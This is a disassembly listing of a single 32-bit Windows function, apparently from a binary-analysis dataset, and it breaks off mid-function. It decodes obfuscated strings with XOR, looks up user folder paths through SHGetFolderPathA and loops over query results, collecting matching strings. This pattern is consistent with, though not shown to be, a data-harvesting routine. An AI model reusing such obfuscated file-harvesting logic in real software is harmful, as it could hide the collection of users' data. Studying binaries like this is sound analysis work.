Function at 0x4235b0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50556f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x300
push esi
mov esi, ecx
mov byte [ebp - 0x20], dl
mov dword [ebp - 0xf0], esi
push edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.00467a60
sub esp, 8
mov byte [ebp - 4], 3
mov eax, esp
mov dword [ebp - 0x18], 1
lea ecx, [ebp - 0xb8]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00463f50
add esp, 8
mov dword [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x2e], 0xd3cfcfd8
mov dword [ebp - 0x2a], 0xacd3d7db
mov word [ebp - 0x26], 0x100
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 8
jb 0x423652
lea eax, [ebp - 0x2e]
mov byte [ebp - 0x25], 0
push eax
mov ecx, esi
call fcn.0046a110
mov byte [ebp - 4], 3
mov edi, eax
mov cl, byte [ebp - 0xb8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xb0]
mov byte [ebp - 0xb8], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xb8]
mov dword [edi + 8], eax
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xac], esi
call fcn.00463bb0
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
movzx eax, byte [ebp - 0x20]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x310]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4236f5
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x1c]
sub eax, edx
cmp eax, ecx
jb 0x424cc4
cmp dword [ebx + 0x20], 0x10
lea eax, [ebx + 0xc]
push edx
cmovae eax, dword [ebx + 0xc]
push eax
push ecx
lea eax, [ebp - 0x310]
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x120]
call fcn.0046db90
mov eax, 0x10001
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 5
xor edi, edi
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x90], edi
mov dword [ebp - 0x8c], edi
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 6
jne 0x423bea
sub esp, 0x18
lea eax, [ebp - 0x120]
mov ecx, esp
push eax
call fcn.00466110
push edi
mov dl, 1
lea ecx, [ebp - 0x50]
call fcn.00421160
add esp, 0x1c
mov byte [ebp - 4], 7
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x50]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x423870
lea ecx, [ebp - 0x50]
call fcn.00468250
mov ecx, dword [ebp - 0x10c]
cmp ecx, 0x10
jb 0x4237f3
mov edx, dword [ebp - 0x120]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4237e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x20]
cmp ecx, 0x10
jb 0x423827
mov edx, dword [ebx + 0xc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42381d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebx + 0x38]
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x20], 0xf
mov byte [ebx + 0xc], 0
cmp ecx, 0x10
jb 0x424cab
mov edx, dword [ebx + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424ca1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
jmp 0x424ca1
xor ecx, ecx
mov dword [ebp - 0x44], ecx
test eax, eax
je 0x423bdc
xor edi, edi
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 0x5c
add edi, esi
mov byte [ebp - 0x1d], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423894
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x110]
sub eax, edx
cmp eax, ecx
jb 0x424cc4
cmp dword [ebp - 0x10c], 0x10
lea eax, [ebp - 0x120]
push ecx
cmovae eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x80]
call fcn.0046db90
mov eax, dword [ebp - 0x14]
or eax, 0x4000
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
sub esp, 0x18
mov byte [ebp - 4], 8
mov esi, esp
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x24], esi
push edi
call fcn.00465e90
mov edi, dword [ebp - 0x14]
lea ecx, [ebp - 0x30]
xorps xmm0, xmm0
or edi, 0x2000
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
xor dl, dl
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
push 0
mov dword [ebp - 0x14], edi
movups xmmword [esi], xmm0
mov dword [ebp - 0x18], edi
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00421160
add esp, 0x1c
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x423987
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42397d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x30]
sub ecx, esi
imul ecx
mov dword [ebp - 0x70], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x6c], 0xf
shr eax, 0x1f
mov byte [ebp - 0x80], 0
add eax, edx
je 0x423b9f
xor ecx, ecx
mov dword [ebp - 0x60], ecx
test eax, eax
je 0x423b9f
xor eax, eax
mov dword [ebp - 0x40], eax
nop word [eax + eax]
cmp dword [ebx + 0x38], 0x10
lea ecx, [eax + esi]
mov eax, dword [ecx + 0x10]
lea esi, [ebx + 0x24]
cmovae esi, dword [ebx + 0x24]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x1c], esi
jb 0x4239f2
mov ecx, dword [ecx]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebx + 0x34]
cmp edx, eax
ja 0x423b73
test edx, edx
je 0x423ac7
sub eax, edx
movsx edx, byte [esi]
inc eax
mov dword [ebp - 0xa4], edx
add eax, ecx
mov dword [ebp - 0xa8], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004e0c30
mov edi, eax
add esp, 0xc
test edi, edi
je 0x423b73
mov ecx, esi
mov edx, edi
mov esi, dword [ebx + 0x34]
sub esi, 4
jb 0x423a51
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x423a56
add edx, 4
add ecx, 4
sub esi, 4
jae 0x423a40
cmp esi, 0xfffffffc
je 0x423a8a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x423a83
cmp esi, 0xfffffffd
je 0x423a8a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x423a83
cmp esi, 0xfffffffe
je 0x423a8a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x423a83
cmp esi, 0xffffffff
je 0x423a8a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x423a8a
sbb eax, eax
or eax, 1
jmp 0x423a8c
xor eax, eax
test eax, eax
je 0x423abb
mov eax, dword [ebp - 0xa8]
inc edi
sub eax, edi
push eax
push dword [ebp - 0xa4]
push edi
call fcn.004e0c30
mov esi, dword [ebp - 0x1c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x423a30
jmp 0x423b73
sub edi, dword [ebp - 0x3c]
cmp edi, 0xffffffff
je 0x423b73
mov esi, dword [ebp - 0x34]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0x94]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x1c], eax
je 0x423b3a
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x94]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ecx + 0x10]
nop
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x423b0a
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x423b14
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.00475ee0
add esp, 8
test al, al
jne 0x423b73
mov ecx, dword [ebp - 0xa4]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x1c]
jb 0x423b00
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x38]
push eax
cmp esi, dword [ebp - 0x8c]
je 0x423b5e
mov ecx, esi
call fcn.00466110
add esi, 0x18
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x90], esi
jmp 0x423b73
push esi
lea ecx, [ebp - 0x94]
call fcn.00472f30
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x2c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x30]
sub ecx, esi
add dword [ebp - 0x40], 0x18
inc dword [ebp - 0x60]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x40]
jb 0x4239d0
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 7
call fcn.00468250
mov ecx, dword [ebp - 0x4c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x50]
sub ecx, esi
mov edi, dword [ebp - 0x38]
inc dword [ebp - 0x44]
add edi, 0x18
imul ecx
mov dword [ebp - 0x38], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x44], eax
jb 0x423882
mov edi, dword [ebp - 0x34]
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 6
call fcn.00468250
jmp 0x423c56
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xb
push eax
push 0
lea ecx, [ebp - 0x94]
call fcn.00472e10
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x423c50
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423c46
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov edi, dword [ebp - 0x90]
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x94]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x423d2c
xorps xmm0, xmm0
mov dword [ebp - 0xdc], eax
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], al
mov byte [ebp - 4], 0xc
cmp edi, dword [ebp - 0x8c]
je 0x423cd5
movups xmmword [edi], xmm0
mov dword [edi + 0x10], eax
lea ecx, [eax + 0xf]
movups xmm0, xmmword [ebp - 0xec]
mov dword [edi + 0x14], eax
mov byte [ebp - 0xec], al
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0xdc]
movq qword [edi + 0x10], xmm0
add edi, 0x18
mov dword [ebp - 0x90], edi
jmp 0x423cf4
lea eax, [ebp - 0xec]
push eax
push edi
lea ecx, [ebp - 0x94]
call fcn.00472e10
mov edi, dword [ebp - 0x90]
mov ecx, dword [ebp - 0xd8]
mov byte [ebp - 4], 6
cmp ecx, 0x10
jb 0x423d2c
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423d22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
sub edi, dword [ebp - 0x94]
mov eax, 0x2aaaaaab
imul edi
xor esi, esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0xa8], esi
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x24], eax
je 0x424c2d
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xb0]
push 0
mov byte [ebp - 0xb8], 0
call fcn.00467a60
mov byte [ebp - 4], 0xe
lea eax, [esi + esi*2]
mov ecx, dword [ebp - 0x94]
cmp dword [ecx + eax*8 + 0x10], 0
lea eax, [ecx + eax*8]
mov dword [ebp - 0x3c], eax
jbe 0x423da3
push eax
lea ecx, [ebp - 0x13c]
call fcn.00466110
mov edi, eax
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x14]
or eax, 2
jmp 0x423e2f
mov dword [ebp - 0x9d], 0xdddddffd
xor ecx, ecx
mov dword [ebp - 0x99], 0xcbd2c8
mov byte [ebp - 0x95], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x9d], al
inc ecx
cmp ecx, 7
jb 0x423dc0
xorps xmm0, xmm0
mov byte [ebp - 0x95], 0
lea ecx, [ebp - 0x9d]
mov dword [ebp - 0xc4], 0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc0], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x423e00
sub ecx, edx
lea eax, [ebp - 0x9d]
push ecx
push eax
lea ecx, [ebp - 0xd4]
call fcn.004028a0
mov dword [ebp - 4], 0x10
lea edi, [ebp - 0xd4]
mov eax, dword [ebp - 0x14]
or eax, 4
sub esp, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x158]
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00463f50
add esp, 8
mov dword [ebp - 4], 0x11
mov al, byte [ebp - 0xb8]
test al, al
jne 0x423ecf
push 8
mov byte [ebp - 0xb8], 1
call fcn.004dd1e0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x20]
mov dword [ebp - 0x194], esi
mov dword [ebp - 0x198], eax
mov byte [ebp - 4], 0x12
push 0x38
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004dd1e0
mov byte [ebp - 4], 0x11
add esp, 4
mov dword [ebp - 0x194], 0
mov dword [ebp - 0xb0], esi
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
mov al, byte [ebp - 0xb8]
jmp 0x423ed5
mov esi, dword [ebp - 0xb0]
cmp al, 1
jne 0x424d26
push edi
mov ecx, esi
call fcn.00467c30
mov cl, byte [ebp - 0x158]
mov edi, eax
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x150]
mov byte [ebp - 0x158], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x158]
mov dword [edi + 8], eax
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], esi
call fcn.00463bb0
mov dword [ebp - 4], 0xf
mov eax, dword [ebp - 0x14]
test al, 4
je 0x423f95
mov ecx, dword [ebp - 0xc0]
and eax, 0xfffffffb
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x423f7a
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423f6d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov dword [ebp - 4], 0xe
test al, 2
je 0x423fe6
mov ecx, dword [ebp - 0x128]
and eax, 0xfffffffd
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x423fe6
mov edx, dword [ebp - 0x13c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x423fd9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
mov eax, dword [ebp - 0x14]
add esp, 8
cmp byte [ebx + 8], 0
jne 0x424055
mov edi, dword [ebp - 0x3c]
mov edx, dword [edi + 0x10]
test edx, edx
je 0x424055
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 0x5c
mov byte [ebp - 0x1d], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424006
mov eax, closesocket
sub ecx, esi
sub eax, edx
cmp eax, ecx
jb 0x424cc4
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x424028
mov eax, dword [edi]
push ecx
lea ecx, [ebp - 0x1f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x13c]
call fcn.0046db90
mov eax, dword [ebp - 0x14]
or eax, 0x1000
lea esi, [ebp - 0x13c]
mov byte [ebp - 4], 0x15
or eax, 8
jmp 0x42407b
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea esi, [ebp - 0x80]
mov dword [ebp - 4], 0x16
or eax, 0x10
lea ecx, [ebp - 0x33]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea edx, [ecx + 1]
mov word [ebp - 0x33], 0x5c
mov byte [ebp - 0x31], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424091
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x110]
sub eax, edx
cmp eax, ecx
jb 0x424cc4
cmp dword [ebp - 0x10c], 0x10
lea eax, [ebp - 0x120]
push ecx
cmovae eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x33]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x24]
lea ecx, [ebp - 0x1b4]
call fcn.0046db90
mov edi, dword [ebp - 0x14]
or edi, 0x200
mov dword [ebp - 0x18], edi
push esi
lea eax, [ebp - 0x1b4]
mov dword [ebp - 4], 0x17
push eax
push dword [ebp - 0x24]
lea ecx, [ebp - 0xd4]
call fcn.0046d9a0
or edi, 0x100
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x18
lea ecx, [ebx + 0x24]
cmp dword [ebx + 0x38], 0x10
mov edx, dword [ebp - 0xc4]
cmovae ecx, dword [ebx + 0x24]
mov eax, dword [ebp - 0xc0]
mov edi, dword [ebx + 0x34]
sub eax, edx
mov dword [ebp - 0x1c], edx
push edi
push ecx
cmp edi, eax
ja 0x424172
cmp dword [ebp - 0xc0], 0x10
lea esi, [ebp - 0xd4]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xd4]
mov dword [ebp - 0xc4], eax
lea eax, [esi + edx]
push eax
call fcn.004deec0
mov ecx, dword [ebp - 0x1c]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xd4]
jmp 0x42418b
mov byte [ebp - 0xa4], 0
lea ecx, [ebp - 0xd4]
push dword [ebp - 0xa4]
push edi
call fcn.0046bf80
mov dword [ebp - 0xdc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xd8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xec], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xdc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
or eax, 0x80
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x42421d
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424213
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x1a0]
cmp ecx, 0x10
jb 0x424276
mov edx, dword [ebp - 0x1b4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42426c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x14]
test al, 0x10
je 0x4242c1
mov ecx, dword [ebp - 0x6c]
and eax, 0xffffffef
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x4242c1
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4242b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0x1d
test al, 8
je 0x42430c
mov ecx, dword [ebp - 0x128]
and eax, 0xfffffff7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
cmp ecx, 0x10
jb 0x42430c
mov edx, dword [ebp - 0x13c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x424302
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x424cc9
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [ebp - 0xd8], 0x10
lea ecx, [ebp - 0xec]
lea edx, [ebp - 0x60]
cmovae ecx, dword [ebp - 0xec]
call fcn.00414b70
test eax, eax
jne 0x424b64
movaps xmm0, xmmword [0x526830]
xor ecx, ecx
movups xmmword [ebp - 0x144], xmm0
mov word [ebp - 0x124], 0x100
movaps xmm0, xmmword [0x527320]
movups xmmword [ebp - 0x134], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x144], al
inc ecx
cmp ecx, 0x20
jb 0x424360
mov ecx, dword [ebp - 0x60]
lea eax, [ebp - 0x40]
push 0
push eax
push 0
push 1
push 0xffffffffffffffff
lea edx, [ebp - 0x144]
mov byte [ebp - 0x123], 0
call fcn.004c2b70
add esp, 0x14
test eax, eax
jne 0x424b5c
mov edi, dword [ebp - 0x40]
mov ecx, edi
call fcn.0049f4b0
cmp eax, 0x64
jne 0x424ae4
lea eax, [ebp - 0xb9]
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0xba]
mov dword [ebp - 0x188], eax
test edi, edi
je 0x424417
cmp dword [edi + 0x2c], 0
je 0x4243f2
xor eax, eax
cmp ax, word [edi + 0x30]
jae 0x4243f2
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4243ed
push eax
call dword [0x535d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
jmp 0x42441c
mov eax, dword [edi]
test eax, eax
je 0x424417
mov eax, dword [eax + 0x44]
test eax, eax
je 0x424409
push eax
call dword [0x535d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048de70
add esp, 0xc
mov ecx, 0x51f518
mov dl, 1
call fcn.0049c380
mov dword [ebp - 0x44], eax
test edi, edi
je 0x4244d2
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x424460
cmp byte [esi + 0x1e], 0
jne 0x424445
cmp ecx, 0xc0a
jne 0x42445b
push 0
push 7
push esi
call fcn.0048de70
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x424465
mov eax, 0xff
and ecx, eax
mov eax, dword [edi]
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42447d
push eax
call dword [0x535d50]
add esp, 4
test edi, edi
je 0x4244d2
cmp dword [edi + 0x2c], 0
je 0x4244ad
mov eax, 1
cmp ax, word [edi + 0x30]
jae 0x4244ad
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4244a5
push eax
call dword [0x535d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0x28
jmp 0x4244d7
mov eax, dword [edi]
test eax, eax
je 0x4244d2
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4244c4
push eax
call dword [0x535d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048de70
add esp, 0xc
mov ecx, 0x51f518
mov dl, 1
call fcn.0049c380
mov dword [ebp - 0x38], eax
test edi, edi
je 0x424534
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x424517
cmp byte [esi + 0x1e], 0
jne 0x4244fc
cmp ecx, 0xc0a
jne 0x424512
push 0
push 7
push esi
call fcn.0048de70
add esp, 0xc
mov byte [esi + 0x1e], 0
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x42451c
mov eax, 0xff
and ecx, eax
mov eax, dword [edi]
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x424534
push eax
call dword [0x535d50]
add esp, 4
mov esi, dword [ebp - 0x44]
test esi, esi
je 0x4246ae
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424544
sub ecx, edx
je 0x4246ae
mov dword [ebp - 0x55], 0xcbd3c3
xor ecx, ecx
mov byte [ebp - 0x51], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 3
jb 0x424560
lea eax, [ebp - 0x55]
mov byte [ebp - 0x51], 0
push eax
push esi
call fcn.004deab0
add esp, 8
test eax, eax
jne 0x4245b7
mov dword [ebp - 0x5a], 0xebf3e3
xor ecx, ecx
mov byte [ebp - 0x56], 1
mov al, cl
sub al, 0x47
xor byte [ebp + ecx - 0x5a], al
inc ecx
cmp ecx, 3
jb 0x424590
lea eax, [ebp - 0x5a]
mov byte [ebp - 0x56], 0
push eax
push esi
call fcn.004deab0
add esp, 8
test eax, eax
je 0x4246ae
push 0x24
call fcn.004dd1e0
mov esi, eax
add esp, 4
mov dword [ebp - 0x19c], esi
mov ecx, dword [ebp - 0x38]
xorps xmm0, xmm0
mov byte [ebp - 4], 0x1e
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi + 4], 1
lea eax, [ecx + 1]
mov dword [esi + 8], 1
mov dword [esi], vtable.std::_Ref_count_obj2_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
movups xmmword [esi + 0xc], xmm0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [ebp - 0x1c], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424610
sub ecx, dword [ebp - 0x1c]
push ecx
push dword [ebp - 0x38]
lea ecx, [esi + 0xc]
call fcn.004028a0
mov eax, dword [ebp - 0x14]
lea ecx, [esi + 0xc]
or eax, 0x800
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xf4], esi
mov byte [ebp - 4], 0x1f
mov eax, dword [0x53811c]
cmp eax, dword [0x538120]
je 0x424676
mov dword [eax], ecx
mov dword [eax + 4], esi
add dword [0x53811c], 8
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
jmp 0x4246ae
lea ecx, [ebp - 0xf8]
push ecx
push eax
call fcn.00472b60
mov esi, dword [ebp - 0xf4]
test esi, esi
je 0x4246ae
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x4246ae
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
